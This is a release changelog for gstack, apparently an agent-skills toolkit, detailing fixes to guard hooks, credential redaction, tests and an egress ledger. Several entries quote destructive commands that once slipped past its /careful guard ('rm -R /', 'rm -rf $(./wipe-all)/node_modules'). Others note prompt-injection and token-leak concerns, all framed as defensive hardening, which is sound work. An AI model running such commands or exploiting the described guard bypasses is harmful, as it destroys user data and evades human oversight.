- **Base-branch detection everywhere**: the bins that hardcoded `main` now
  probe origin/HEAD, origin/main, and origin/master in order.
- **Eval model resolution is host-neutral**: `GSTACK_EVAL_MODEL` (and per-kind
  variants) override the hardcoded model ids at all six call sites.
- Dead bins removed (`chrome-cdp`, `gstack-open-url`, `gstack-platform-detect`);
  the stale-reference scan now covers docs/ so removals like these fail CI when
  documentation still cites them.

#### For contributors

- 23 new test files (+5,499 test lines): behavioral suites for session
  persistence, the poisoned-bundle probe, both migrations, the consent CLI,
  verify-gate trust, telemetry opt-out, the offline-gate bypass corpus, the
  secret-scan exit contract, and lock-acquisition edge branches. The ios-qa
  daemon suite (10 files) is now wired into `bun test` and the sharded runner;
  it had never run in CI.
- `lib/gbrain-repo-policy-client.ts` is the one place repo-policy tiers are
  read; both enforcement points route through it.
- `lib/context-bill.ts` no longer double-counts nested skills in totalMd, and
  `gstack-context-bill` works under Conductor env-shims.
- Egress receipts: `bin/gstack-egress verify` passes with the chain intact;
  code-intelligence adapters registered as fail-closed sinks.
- Credits: this release ports work by **Sina Matian** (time-attack/gstack, MIT)
  across nearly every cluster. Community PRs absorbed with authorship:
  **Gawie van Blerk** (#2560), **Shawn Reddy** (#2565), **Jake Wilk** (#2523),
  **Jerry Nichols** (#2539). Thank you all.

## [1.64.1.0] - 2026-08-15

**Every guard in the pipeline now provably fires.**
**And the codebase stopped describing features it doesn't have.**

This release is a fix wave over the parts of gstack that earlier-generation
models wrote and later rips left behind. The free test suite now runs in CI
with per-file isolation, all ten host outputs are gated on every push, the
tunnel security allowlist matches the endpoints that exist, and the security
documentation describes the defenses that actually run. One template bug fix
alone cut 46KB from /spec's skill file, and eight utility skills stopped
carrying onboarding prose written for a different tier. Net: 24,943 lines
lighter across 183 files.

### The numbers that matter

Source: this branch's verification runs (`bun test` per-file, `bun run
gen:skill-docs --host all`, the JSON config dump-diff) and `git diff
origin/main...HEAD --stat`.

| Metric | Before | After | Delta |
|---|---|---|---|
| Free test files running in CI | 0 | 358, one process per file | truncation impossible by construction |
| Host doc-freshness gates that can fail | 1 of 10 | 10 of 10 | two gates diffed gitignored paths |
| spec/SKILL.md | 127,462 bytes | 80,924 bytes | one preamble, not two |
| hosts/*.ts config code | 595 lines | 285 lines | defineHost() factory, byte-identical output |
| Eval tier-gate implementations | ~40 drifted copies, 6 predicates | 1 | the unset-tier trap is pinned forever |
| Net repo size | baseline | -24,943 lines | 24 files deleted outright |

The tier table is the one to feel: `/scrape`, `/diagram`, and the browser
launchers each shed 271 lines of preamble they inherited from a silent
default. Skills now declare their tier or the generator refuses to build.

### What this means for gstack users

Skill invocations for the trimmed utilities load less prose into your context
window, /spec loads 46KB lighter, and a red test in this repo now means a red
check on the PR that caused it, every time, on every host. If you maintain a
fork or embed the browse daemon: two ServerConfig fields that never worked
(idleTimeoutMs, chromiumProfile) are gone rather than lying, and
GSTACK_SECURITY_ENSEMBLE no longer exists as a knob. Upgrade normally; no
migration needed.

### Itemized changes

#### Fixed
- CI: the skill-docs freshness gate covers all 10 hosts through one
  `gen:skill-docs --host all` pass plus a tracked-drift diff and an
  untracked-strays check. The Codex and Factory gates previously diffed
  gitignored paths, which always pass.
- CI: new Free Tests workflow runs the whole free suite (358 files) with one
  bun process per file on the prebaked toolchain image. Per-file isolation
  sidesteps two observed silent-truncation modes (a process.exit race in
  server-lifecycle tests, and co-run module-state bleed) and the historical
  Bun exit-0-on-module-load-error behavior.
- Security: removed the deleted /sidebar-chat endpoint from TUNNEL_PATHS,
  the audited tunnel attack surface. The set is now exactly /connect and
  /command, and the closed-set pin test enforces that.
- Security: deleted chain's unreachable direct-dispatch fallback, which
  routed commands without scope, domain, tab-ownership, rate-limit, or
  JS-origin checks. The JS-origin assertion in read commands is now
  unconditional.
- Security: page-content logs (console, network, dialog, command audit) go
  through appendSecureFile, gaining owner-only permissions from creation on
  every platform.
- Stealth: the headless-to-headed handoff path uses the shared Chromium
  profile resolution and singleton-lock cleanup instead of a hardcoded path
  that ignored CHROMIUM_PROFILE and GSTACK_HOME.
- Generator: /spec's skill file rendered its entire preamble twice because
  template prose mentioned a placeholder literally. Fixed; 46,538 bytes
  removed from the generated file.
- Generator: preamble tiers are declared per skill and a missing declaration
  is a build error. Eight skills that silently defaulted to the heaviest
  tier now carry the right one (scrape, diagram, the browser launchers at
  tier 1; landing-report, pair-agent, skillify at tier 2; spec at tier 3).
- Generator: learningsMode is read from host config instead of a hardcoded
  host check, so the seven basic-mode hosts get the project-scoped learnings
  flow their runtimes can execute.
- Test selection: touchfile dependency paths are validated against disk (the
  guard caught four rotted entries on its first run), and the eval-watch
  dashboard reads partial results from the directory the collector writes.
- Eval gating: one describeE2ETier implementation replaces ~40 drifted
  copies. The sharded paid runner's pre-spawn classifier understands the new
  shape, so gate runs no longer pay for periodic shard startup.

#### Changed
- hosts/*.ts declare only what differs per host; defineHost() derives the
  rest. Proven byte-identical via a JSON dump-diff of all ten configs and a
  zero-diff regeneration.
- pty-session-cookie and sse-session-cookie share one session-registry
  implementation with separate token spaces; the terminal agent uses the
  shared cookie parser.
- One lone-surrogate sanitizer and one sanitizeReplacer live in sanitize.ts;
  one startTunnel() owns the ngrok start sequence that existed three times.
- lib/fs-atomic.ts is the single atomic-write implementation (pid+random
  tmp suffix, throw and quiet variants, mode-at-create). lib and browse
  call sites migrated, including a latent deterministic-tmp collision race
  in the worktree dedup index.
- lib/jsonl-store.ts documents its real contract (callers screen for
  injection patterns; the enforcing callers are named), gains a mode option,
  and the lib-side bypass appenders now use it.

#### Removed
- The dead ML security layers: the Haiku transcript classifier and the
  DeBERTa ensemble (GSTACK_SECURITY_ENSEMBLE), which had no production
  callers, plus their paid benchmark suite and fixtures. The live path is
  the testsavant content scan in the security sidecar. CLAUDE.md and
  BROWSER.md now document exactly that.
- Five HostConfig fields nothing read (metadataFormat, sidecar, prefixable,
  staticFiles, adapter) and the fully dead openclaw-adapter module.
- Seven registered template placeholders no template used, the never-adopted
  gated-resolver mechanism, and the codex-helpers shadow module whose stale
  copy silently lost to a local redeclaration.
- Two ServerConfig fields that were documented but never read (idleTimeoutMs,
  chromiumProfile); BROWSE_IDLE_TIMEOUT and CHROMIUM_PROFILE env remain the
  working knobs.
- proactive-suggestions.json (31KB regenerated on every build, read by
  nothing), two zero-caller bin
  scripts (gstack-open-url, gstack-platform-detect), an orphaned schema
  module, three orphaned test fixtures (including a 128KB golden that had
  drifted 46KB from its live successor), and a superseded duplicate of the
  ship-idempotency eval.
- ~2,000 lines of tests that exercised deleted features: two files that
  crashed at import reading a source file deleted 48 versions ago, a
  whole dead-endpoint integration file, and 20 describes of chat-pipeline
  UX pins inside sidebar-ux.test.ts (its live coverage remains, now green).

#### For contributors
- setup accepts --host cursor and --host slate (the hand-rolled allowlists
  had drifted from hosts/index.ts).
- The openclaw CLAUDE.md variants are real template files under
  openclaw/templates/ instead of string literals inside the generator.
- Ghost comments describing sidebar-agent.ts as a live process are scrubbed
  from 10 files; server.ts tombstone blocks enumerating deleted identifiers
  are gone.
- docs/ADDING_A_HOST.md teaches the defineHost pattern.

## [1.64.0.0] - 2026-08-14

**Ninety fixes in one wave. Every guard that said it was protecting you now actually does.**

This release is a fix wave built from a full audit of the tracker: every open
PR and every open issue, verified against main before anything landed. The
pattern that kept showing up was guards that failed open. The freeze and
careful hooks emitted a payload shape Claude Code ignores, so deny meant
allow. The redact pre-push hook had six separate paths that let a credential
through. The test suite exited green after running 4% of itself. All of that
is fixed, with a regression test or a static tripwire pinning each one shut.

The wave absorbs the best community fix for each defect, credited by name:
82 contributors are named in this release, several of whom independently
fixed the same bug within days of each other. That duplication is the
tracker telling us how many people hit the same wall.

### The numbers that matter

Source: `git log 1.63.0.0..HEAD` on this branch, plus the audit workflow
records referenced in the PR.

| Metric | Before | After |
|---|---|---|
| Free-suite files that actually run | ~16 of 434 (truncated, exit 0) | all 434, honest exit code |
| Guard hooks that can block (freeze/careful/team-init) | 0 of 3 | 3 of 3, fail closed |
| Native AskUserQuestion answers recorded | 14% | 100%, suffix-aware |
| /codex runs per macOS session before breaking | 1 | unlimited (mktemp fixed) |
| Issues closed by this release | — | 52 |
| Community PRs absorbed with credit | — | ~50 |

The suite number is the one to sit with. A delayed process.exit(0) in one
test file killed the whole run mid-flight with a green exit code — so every
other guarantee in CI was resting on a suite that could not fail. It can
fail now, a fault-injection test proves the failure propagates, and the
sharded runner treats a summary-less shard as failed.

### What this means for you

Skill enforcement (/freeze, /careful, team required-mode) actually blocks.
The redact guard scans big diffs instead of blocking them unscanned, and
quoted arguments can't hide an rm -rf from /careful. Auto-upgrade un-wedges
itself on installs with local patches. Memory ingest refuses to claim
success while importing nothing. Windows installs stop bricking .gstack
when your hostname matches your username, stop flashing console windows,
and the plan-tune hooks finally record your answers. Design image
generation works again. Update gstack and the wave is yours.

### Itemized changes

#### Fixed — enforcement guards
- /freeze deny and /careful ask decisions nest under hookSpecificOutput so
  Claude Code honors them; team-init required mode blocks with exit 2 even
  on schema drift. Contributed by @jawadakram20, @Masashi-Ono0611.
- /careful parses the tool payload with a real JSON parser (quoted
  arguments no longer truncate the command), asks on IFS/base64
  obfuscation, fails closed on unreadable input, and multi-line commands
  cannot ride the safe-exception whitelist. Contributed by @wtamminga.
- The investigate scope lock resolves check-freeze via $HOME (the
  CLAUDE_SKILL_DIR path never resolved at hook time). Reported with a fix
  by @maxpetrusenkoagent.
- Specialist review agents run with run_in_background: false — required
  since Claude Code 2.1.198 made background the default.

#### Fixed — credentials and redaction
- Pre-push scanning: line-aligned chunked scans for big diffs
  (@luckywenapere), real push-base resolution instead of whole-repo blame
  (@stormeoio), byte-exact stdin for chained hooks (@francis-eye),
  --no-ext-diff/--no-textconv, hunk-aware header parsing, fail-closed ref
  parsing (bypasses reported by @lubosxyz), GOCSPX + Telegram token
  patterns (@francis-eye), UUID fixture false-positive suppression.
- pair-agent walks you through ngrok auth in YOUR terminal — the token
  never enters the transcript.
- The extension denies token/port reads to content scripts and foreign
  extensions, reimplemented for the v1.63 pinned-origin token model.
  Contributed by @Mike-E-Log (#1822).
- diff 9.0.0 (GHSA-73rr-hh4g-fpgx, @genisis0x); OpenAI key file written
  0600-at-create (@bunlongheng); injection-denylist and phone-pattern
  false positives calibrated (@Masashi-Ono0611, @JonasFocus, @abkrim).

#### Fixed — test-suite integrity
- All eight delayed process.exit teardown bombs removed; static no-suicide
  tripwire; fault-injection proof of exit-code propagation; the sharded
  runner fails shards that exit 0 without bun's summary. Contributed by
  @sneakygriff with repairs from @time-attack; also fixed by @whd4.
- design/test/ joins the free suite and the sharded runner (it never ran
  anywhere before).
- The orphaned sidebar chat-queue suites are gone; live sidebar tests stay.
- Fork PRs skip eval jobs deterministically instead of red/green by Docker
  cache luck. Contributed by @andrey-esipov.

#### Fixed — silent data loss
- memory-ingest imports gitignored staging (@gawievanblerk), reconciles
  imported-vs-staged counts and refuses to advance state on shortfall
  (@Charles-Grant), with a version-adaptive flag fallback.
- lib/ ships beside bin/ on every host install — learnings, decisions and
  telemetry scripts work outside Claude Code. Contributed by @fedster99;
  supabase/config.sh copy by @jizusun.
- Native AskUserQuestion answers parse correctly (object-map shape), the
  (Recommended) suffix compares equal, and extraction failures no longer
  poison followed_recommendation. Based on the working patch by @yijisoo;
  suffix fix by @chuchu2781.
- The autoplan task aggregator returns real tasks (jq scope bug swallowed
  by 2>/dev/null). Contributed by @kkroo.
- Auto-upgrade pulls with --autostash over locally-patched installs and
  logs the real failure reason.
- gstack-slug resolves the project root by marker walk-up (@ajeenkya),
  canonicalizes slash branches (@ShuratCode), and keeps cached identity
  sticky so adding a remote never renames your project.
- Design image generation: the gpt-image-2 tool pairing that 400'd every
  call is fixed (@Pablosinyores), with honest timeout reporting (@vryahn).

#### Fixed — Windows
- icacls grants by SID — hostname==username no longer bricks ~/.gstack
  (@asizux2; independently fixed by @Icandi40, @chiragborse1, @IntegriGit,
  @voltapix26).
- windowsHide forwarded through every spawn shim (@jerrynicholsai;
  subsets by @jwilk-hrep, @rroojrooj, @WimvandenHeijkant); watchdog uses
  signal-0 liveness with a reachable circuit breaker (@SYKhayyat); terminal
  agents tie their lifetime to the owner PID (@csarigoz).
- All three plan-tune hooks spawn their bins through a shared
  Windows-aware helper (@rafassousa); setup registers the SessionStart
  hook with a bash prefix (@NikhileshNanduri); BROWSE_BIN gets its .exe
  (@rroojrooj); the polyfill exposes an exited promise (@habassa5)
  and the CJK terminal issues are gone (double-send fixed by
  @mindsurf0176, full-width font cells by @tomfluff).
- New Windows regression tests run on windows-latest CI, not just as
  static checks on macOS.

#### Fixed — /codex
- mktemp templates keep the X-run trailing — /codex works past the first
  run on macOS (@ShuratCode and @noron12234; also @cathrynlavery).
- codex review receives explicit diff args instead of silently reviewing
  the dirty tree (@fangearhq-boop), wrapped in timeouts so truncation
  stops reading as no-findings (@aegixx).
- Review mode runs sandboxed read-only; the P0/P1/P2 gate fails closed on
  empty, untagged, or non-zero output; model-entitlement 400s get
  actionable guidance.

#### Fixed — everything else
- Artifacts Sync and telemetry-finalize un-deadened in 49 skills (quoted
  tilde never expands — @jawadakram20). update_check:false now silences
  the preamble prose too (@jc0d35). Codex hosts read AGENTS.md, not
  CLAUDE.md (@exGeni). setup --help prints help (@saen-ai). Model overlays
  for the current Claude generation (@chrisquorum). Plus ~20 more small
  fixes credited in the git log: deploy-config URL parsing, artifacts-init
  protocol handling, keychain auth detection, catalog description
  truncation, tracked-file test counts, update-check crash sentinel,
  Ubuntu 26.04 detection, CRLF-stable generation, telemetry error fields,
  server-lock diagnostics, shell-quoted paths, benchmark arg validation,
  and more.

#### For contributors
- The enumerate-first repair protocol used here (defuse, enumerate, repair
  before removing) is documented in the PR; the audit records live in the
  session workflow journals. Four follow-up waves are captured in TODOS.md
  with full context.

## [1.63.0.0] - 2026-08-13

**Everything gstack sends off your machine now leaves a receipt you can read.**
**And the eval harness stopped grading itself a passing grade.**

This release ports the parts of the GStack 2 fork that earned their way back into
main. The headline is a hash-chained egress ledger: every place gstack itself
sends data off your machine now writes a local, tamper-evident receipt first, and
`gstack-egress list` / `verify` show you exactly what left and prove the chain is
intact. Two new command-line tools ship with it: `gstack-egress` (the auditor's
view) and `gstack-context-bill` (a token bill-of-materials for any skills tree, so
you can see what a gstack install costs your context window before you invoke
anything). The test harness got three real fixes, one of them a bug that had been
quietly lying to every contributor for months.

### The numbers that matter

Source: the assembled branch (`git log 1.62.0.0..HEAD`), the free suite
(`bun test`), and the discovery-surface gate (`test/catalog-budget.test.ts`).

| Metric | Before | After | Δ |
|---|---|---|---|
| gstack-owned off-machine sinks with a receipt | 0 | every enumerated sink | tripwire-enforced, zero exceptions |
| Eval "no regressions" lines that were self-comparisons | every one | 0 | the harness compared runs against their own in-progress accumulator |
| Paid gate runner isolation | one process, one hung file kills the tier | one process per file, group-SIGKILL on stall | + never-started accounting |
| Discovery catalog budget | unenforced | 1,105 token-equivalents measured, 1,150 ceiling | ratchet-protocol on every skill add |
| Browser `/health` endpoint | served the root auth token to any localhost caller in headed mode | serves no token in any mode | token bootstrap moved to a pinned-origin POST |

The eval-store line is the one that matters most for anyone hacking on gstack:
`findPreviousRun` picked the newest same-tier file as the baseline, and the
in-progress `_partial` accumulator always won that sort, so the auto-comparison
compared a run against itself and printed "no regressions" no matter what. That is
fixed, with regression tests, and the fix was confirmed against the bug on the
prior release before landing.

### What this means for you

If you care what gstack does with your data, you can now audit it: run
`gstack-egress list` after any session and see every off-machine send, or
`gstack-egress verify` to confirm nothing was rewritten. If you contribute to
gstack, your eval comparisons mean something again, the paid gate can't be taken
down by one wedged test, and `gstack-context-bill` tells you what your skill
changes cost before you ship them. Nothing new phones home; the ledger is local
and the receipts record what gstack *attempts* to send, so accidents are auditable.

Ported from the GStack 2 fork by Sina Matian (time-attack/gstack); the eval-store
bug fix and the port shortlist were selected and hardened for upstream.

### Itemized changes

#### Added
- `gstack-egress` — read the hash-chained egress receipt ledger: `list` (what
  gstack attempted to send off-machine), `verify` (recompute the chain, exit 3 on
  tamper), `grants` (the standing consent settings and how to revoke each).
- `gstack-context-bill` — offline token bill-of-materials for a skills tree:
  always-on discovery cost vs per-invocation cost, `--diff` between two trees,
  `--budget`, and `--exact` (opt-in, measures against the real tokenizer).
- Hash-chained egress receipts (`lib/egress-receipt.ts`): fail-closed
  receipt-before-send for sensitive sinks (brain-sync, memory-ingest, gbrain-sync,
  telemetry, tunnels), fail-open with a warning for user-facing sinks (the design
  binary's model calls, update-check, dashboards). A tripwire test enforces that
  every off-machine sink in the tree is wired, with zero silent exceptions.
- Sharded paid-gate runner (`test:gate:sharded` / `test:periodic:sharded`): one
  process per test file, an external wall-clock timeout that group-SIGKILLs a
  wedged file's whole process tree, and four-way per-shard status so a crash can't
  masquerade as a pass.
- `gstack-context-bill` and the egress tools install through the standard `./setup`
  path like every other gstack binary.

#### Changed
- The browser `/health` endpoint no longer carries the root auth token in any
  mode. The sidebar extension bootstraps its token through a new
  `POST /extension-token` that requires the pinned extension origin and a loopback
  Host; the tunnel listener never exposes it. Upgrading resets the sidebar's
  panel-local state once, explained in-product.
- Hermetic PTY test children can register the repo's shipped skills, so
  slash-command gate tests actually exercise the skill under test instead of
  silently measuring nothing.
- Discovery-surface cost is now gated: `test/catalog-budget.test.ts` pins the
  aggregate skill name+description budget with a self-service ratchet protocol.

#### Fixed
- The eval harness auto-comparison compared every run against its own in-progress
  accumulator and reported "no regressions" unconditionally. Fixed with regression
  tests; comparisons now find the latest *completed* same-tier run.
- The browser `/health` token leak (a headed-mode carve-out that handed the root
  token to any localhost caller).

#### For contributors
- Shared modules replace duplicated logic: one paid-test-set definition consumed by
  both the free-suite filter and the paid runner, one skill-census helper with three
  explicit counts (physical files, authored skills, registry entries) consumed by
  the seeder, context-bill, and the catalog gate.
- `CLAUDE.md`'s compiled-binaries note corrected: the `browse/dist` binaries have
  been untracked since v0.11.16.0, so they no longer appear in `git status`.
- External-service E2E tests (Codex, Gemini, benchmark providers) are declared
  periodic-tier with the canonical whole-file guard, so the merge-blocking gate
  never waits on a third-party CLI. The Codex runner passes
  `--skip-git-repo-check` (now required in non-git working dirs) and the Gemini
  runner classifies an unusable CLI (removed flags, retired auth paths) as a
  skip instead of a false failure.
- The PTY test runner parses AskUserQuestion prompts that reflow onto a single
  logical line and strips DEC cursor-visibility residue, pinned by
  `test/pty-askuserquestion-single-line.test.ts` — the failure class that
  previously ate a gate test's whole time budget.
- New follow-ups filed in `TODOS.md`: egress ledger rotation (chain-genesis
  records), a launch-nonce token bootstrap, and eval-watch shard-awareness.

## [1.62.0.0] - 2026-08-12

## **Plan reviews stop asking what to review when you're in plan mode.**
## **The gate that guards normal sessions now knows when the answer is obvious.**

Invoke /plan-eng-review or /plan-design-review while drafting a plan and the review just starts. No more "What should I review? A/B/C" when the only sensible answer is the plan on your screen. The skill announces its pick in one line ("Scope gate: plan mode — auto-selected B (reviewing your plan)") so you can redirect it, then goes straight to work. Name a target explicitly ("review PLAN.md") and the question is skipped in any mode. Outside plan mode with nothing named, the gate asks exactly as before, and it is still a hard stop.

The bypass is engineered against abuse, not just convenience. Only the host's own plan-mode signal can arm it: plan-shaped text inside pasted documents, tool results, or fetched pages does not count, so injected content can't nominate its own review target. When several plan candidates exist, the host-referenced plan file wins; ambiguity means the skill asks. /autoplan stops surfacing the gate too — its loaded review skills now skip it, since the plan under review is already the target.

### The numbers that matter

Source: this branch's live PTY eval runs on 2026-08-11 (logs in ~/.gstack-dev/eval-runs/) and byte measurements from the generated skill files.

| What | Before | After |
|------|--------|-------|
| Questions before a plan-mode review starts | 1 | 0 |
| Seeded plan-mode smokes (announcement rendered, no gate question) | n/a | 2/2 pass |
| Outside-plan-mode regression runs (gate still asks, bypass never misfires) | n/a | 4/4 pass |
| Finding-floor runs with the gate excluded from the count | trivially satisfiable | 2/2 pass, gate renders don't count |
| Stochastic smokes wrongly blocking the CI gate lane | 4 | 0 |

That last row is a repair: four plan-mode/finding-floor smokes were demoted to the weekly tier months ago, but the demotion never took effect — the test files still gated on the blocking lane. They no longer block the gate lane; they run via `bun run test:periodic` (weekly-cron wiring for PTY tests is tracked in TODOS). A new free invariant test makes the declared-vs-actual tier drift impossible to reintroduce silently.

### What this means for you

The plan → review → ship loop loses its most pointless click. Draft a plan, say "/plan-eng-review", and the review starts against your plan immediately — interruptible, announced, and reversible by just naming a different target. Run /gstack-upgrade to get it.

### Itemized changes

### Added
- **Plan-mode auto-select in the scope gate** (`plan-eng-review`, `plan-design-review`): in plan mode the review targets the active plan automatically, with a one-line announcement; explicitly named targets win in any mode; a fresh plan-mode session with nothing drafted still asks. The mode signal is host-anchored — pasted or fetched content claiming plan mode does not arm the bypass.
- **Render-shape PTY detectors** for the scope gate question and the auto-select announcement (`test/helpers/claude-pty-runner.ts`), with narration-negative and verbatim-quote fixtures so paid smokes can assert gate behavior across a whole run instead of a lossy 2KB tail; observation runs can also track arbitrary consumption tokens (`trackTokens`).
- **Tier-alignment invariant test** (`test/e2e-tier-alignment.test.ts`): every self-gated paid test file named in a touchfiles dep list must match its declared tier; unmapped, mixed-tier, and undeclared-key files are reported instead of silently skipped.
- **Exceptions drift-guard**: the two hand-duplicated gate templates must stay identical modulo their two variant slots, and must carry the exact announcement and question strings the PTY detectors pin.

### Changed
- `/autoplan`'s section skip list now includes the scope gate — loaded review skills no longer surface a hard-stop question that autoplan's auto-decide contract would immediately answer.
- The plan-mode preamble wording no longer implies a skill's first action must be a question ("any AskUserQuestion the skill fires is the workflow operating within plan mode" — a skill may legitimately resolve a question itself).
- The finding-floor harness no longer counts a scope-gate render toward its question floor (positional anchoring, judge-fallback exclusion) — the floor now genuinely measures finding-driven questions.

### Fixed
- Four stochastic plan-mode/finding-floor smokes declared `periodic` were still self-gating on the blocking `gate` tier — they no longer run in (or block) the gate lane, and the invariant test above prevents declared-vs-actual tier drift from recurring. Weekly-cron wiring for PTY-driven periodic tests is tracked in TODOS.
- CI eval containers now register `plan-eng-review` and `plan-design-review` as discoverable skills (registration loops, dangling-target checks, and frontmatter verification all extended) — previously only two skills were registered.
- The no-op regression suite covers all three plan-review skills outside plan mode, asserts the gate question actually rendered (unconditionally), and proves a pasted named target is consumed via cumulative-buffer token tracking.
- `/ship`'s credential pre-push guard now installs correctly from git worktrees after consent — the custom-hooks-path detection compared against the worktree's own git dir instead of the shared common dir, so every Conductor worktree read as "custom hooks path" and skipped the install.

### For contributors
- Skeleton/ratio ceilings ratcheted with attribution comments (plan-eng 68k/1.10, plan-design 89k, investigate 1.10) for the exceptions block + shared preamble reword.
- `PlanSkillObservation.outcome` now includes `wrote_findings_before_asking` (was returned at runtime but missing from the union); high-water flags are built once and spread at every return path.
- TODOS.md: filed the `{{SCOPE_GATE}}` shared-resolver extraction as the follow-up to the drift-guarded duplication.

## [1.61.0.0] - 2026-07-09

## **Nine guard bugs fixed in one wave.**
## **Every fix ships with a tripwire that proves the guard actually guards.**

This release closes out the silent-failure class across gstack: guards and tools that reported success while doing nothing. Question cards render again on current Claude Code builds. /careful catches chained, substituted, and capital-flag deletes it used to wave through. The design CLI fails loudly on bad flags instead of billing you for a guess. Shared team brains (thin clients) get brain-aware planning instead of silent suppression. Four of the fixes came from community PRs, absorbed with authorship intact and hardened on top.

### The six numbers that matter

Source: this branch's diff against v1.58.5.0. Every new test was first run against the unfixed code and confirmed failing, then confirmed passing after the fix.

| What | Before | After |
|------|--------|-------|
| AskUserQuestion on Claude Code 2.1.89+ | "Tool result missing due to internal error" | card renders |
| `rm -R /`, `rm -rf $(cmd)/node_modules` via /careful | silent allow | ask |
| `design variants --count abc` | 0 variants, exit 0 | exit 1 with usage hint |
| Thin-client team brains | broken-config, brain blocks suppressed | usable, sync stages skip with reason |
| /office-hours SESSION_COUNT | ~2x inflated | exact |
| New tripwire test cases | n/a | 72 |

The first row is the one to feel. The question-card primitive every interactive skill depends on was orphaned on current Claude Code builds: the preference hook emitted `permissionDecision:'defer'`, whose semantics became "pause for external resumption" in CC v2.1.89. The fix is a two-branch pass-through (exact-empty stdout, or additionalContext-only output for plan-tune memory nuggets), plus a corrected protocol reference doc so the mistake cannot be re-learned from our own docs.

### What this means for you

Interactive skills ask you questions again on current Claude Code. Safety guards fail closed: chained deletes, command substitution, capital `-R`, and destructive credential phrasings ("reset my secrets") all reach a human now. If your team runs a shared remote brain, `/sync-gbrain` and brain-aware planning work on thin clients out of the box. Run `/gstack-upgrade` to get all of it. The hook fix arrives with the file update, no settings change needed.

### Itemized changes

#### Fixed

- **AskUserQuestion orphaned on Claude Code 2.1.89+ (#2035, #2006).** `question-preference-hook` pass-through is now exit 0 with exactly empty stdout (or additionalContext-only output for plan-tune memory nuggets), never `permissionDecision:'defer'`. `defer()` renamed `passThrough()`; the protocol contract in `docs/spikes/claude-code-hook-mutation.md` corrected in the same commit; 13 assertions rewritten across 3 test files; the tripwire asserts exact-empty stdout so a garbage write cannot slip past an optional-chained parse. Existing installs pick the fix up via `/gstack-upgrade` (the registered hook shim execs the TypeScript live).
- **/careful chained-rm bypass (#2039).** Contributed by @jbetala7 (PR #2040): the safe-exception shortcut no longer judges a chained command by its last (safe) target. Hardened on top of the anchored full-command whitelist: the flag cluster accepts capital `-R` (the BSD/macOS recursive flag — `rm -R /` warned nowhere before; `rm -Rf node_modules` alone still allows) and safe-target tokens exclude `(` and backtick, so command substitution ending in a whitelisted suffix (`rm -rf $(./wipe-all)/node_modules`) cannot ride the whitelist.
- **/context-restore loading a sibling worktree's checkpoint (#2052).** Contributed by @jbetala7: restore prefers the current branch's own checkpoint over newer sibling-worktree saves (scans 200 newest, partitions by branch frontmatter), and keeps the Conductor handoff fallback when the branch has no checkpoint.
- **/sync-gbrain drift re-register on gbrain 0.42+ (#1985).** Contributed by @jbetala7: the drift remove passes `--confirm-destructive`. Hardened on top: the remove routes through the #1734 data-loss guards (refuses loudly while an autopilot runs), propagates `--keep-storage`, realpath-normalizes drift detection (a symlink alias of the same directory is a match, not drift, the probable cause of the reporter's unmoved-repo drift), and logs old vs new path whenever drift fires.
- **Developer-profile double counting (#2067).** Contributed by @mvann: `mode:"resources"` bookkeeping rows no longer inflate SESSION_COUNT, TIER, or the builder-to-founder nudge; 8 regression tests pin the tier boundaries from both sides.
- **One-way-door credential net: plurals + runtime wiring (#2024).** The credential nouns now match plurals ("reset my secrets" / "rotate the credentials" classify one-way), and the keyword net is wired into the runtime for the first time: `gstack-question-preference --check <id> --summary-stdin` pipes the question text (stdin, never argv, so quotes and newlines survive), and the enforcement hook falls back to the classifier for unregistered ids, so an ad-hoc destructive question with a stored never-ask preference can no longer auto-decide.
- **design CLI silent NaN flags (#2032).** `--count`, `--retry`, and `--timeout` share one loud contract via `design/src/flag-utils.ts`: non-integer input errors with exit 1 ("3.7" is rejected, not truncated), above-max clamps with a stderr warning, and the variants ceiling derives from the style list instead of a magic 7. Previously `--retry abc` made generate a silent no-op and `--timeout abc` killed the serve board at boot.
- **Thin-client brains misclassified as broken (#2051).** New `thin-client` engine state, read from gbrain's own `remote_mcp` config marker before any probe. Usable at every suppression gate (`--is-ok`, gen-skill-docs detection, `gstack-config gbrain-refresh`) while the local sync stages skip with an accurate reason (code indexing runs on the brain server; memory syncs via the remote brain's artifacts pull). The detect JSON reports `gbrain_thin_client: {probed: false}`: config verified, reachability checked at use time where gbrain calls degrade gracefully. detectMcpMode also recognizes gbrain servers registered under variant names or matched by the config's `mcp_url`.

## [1.60.2.0] - 2026-08-07

## **Three free-suite tests fail-proofed against machine drift.**
## **Plus a filed P1: the suite's exit code can lie, and now we know why.**

A full-suite health check turned up three tests that failed on dev machines while CI stayed green, all test-side drift rather than product bugs. The eval:list CLI test now spawns from a neutral directory, so slug detection cannot route reads away from the fixture store it seeds (the old cwd made it fail on any machine with the dev symlink). The benchmark CLI's remediation-hint check is case-insensitive, matching the reworded Gemini guidance ("Export GEMINI_API_KEY..."). The session-runner observability floor now expects the 5 wrapped I/O sites that actually exist since the shell-free spawn removed the prompt-file unlink.

### The numbers that matter

Source: this branch's investigation logs (~/.gstack-dev/logs/free-suite-*.log) and per-file reruns.

| Check | Before | After |
|-------|--------|-------|
| eval-list-cli on dev machines | 1 fail (reads empty project dir) | 2/2 pass, deterministic everywhere |
| benchmark-cli remediation hint | 1 fail (case-brittle regex) | 15/15 pass |
| observability check 11 floor | expects >= 6 markers, counts 5 | floor matches the 5 real sites |

One deeper finding got filed instead of rushed: at least five browse test files force-exit the shared bun process with `setTimeout(() => process.exit(0), 500)`, which can exit 0 before the summary prints and mask real failures. That is now a P1 in TODOS.md with receipts, because removing the exits without fixing the handle leaks they paper over would trade silent failure for hangs.

### What this means for you

`bun test` gives the same verdict on your laptop as in CI for these three tests, and the exit-code trust problem is documented with a concrete fix path instead of lurking.

### Itemized changes

#### Fixed

- `test/eval-list-cli.test.ts`: spawn from neutral cwd + absolute script path so `getProjectEvalDir()` slug probes fail deterministically and the seeded legacy store is read.
- `test/benchmark-cli.test.ts`: remediation-hint pattern made case-insensitive for the updated Gemini NOT-READY message.
- `test/helpers/observability.test.ts`: check 11 floor 6 → 5 with the surviving wrapped-I/O sites named.

#### For contributors

- TODOS.md: new P1 (free-suite exit code masked by in-process force-exits, with repro + receipts) filed under Test infrastructure.

## [1.60.1.0] - 2026-07-09

## **The /autoplan dual-voice eval is back on the board, catching real regressions.**
## **Eval timeouts now return evidence instead of hanging the suite.**

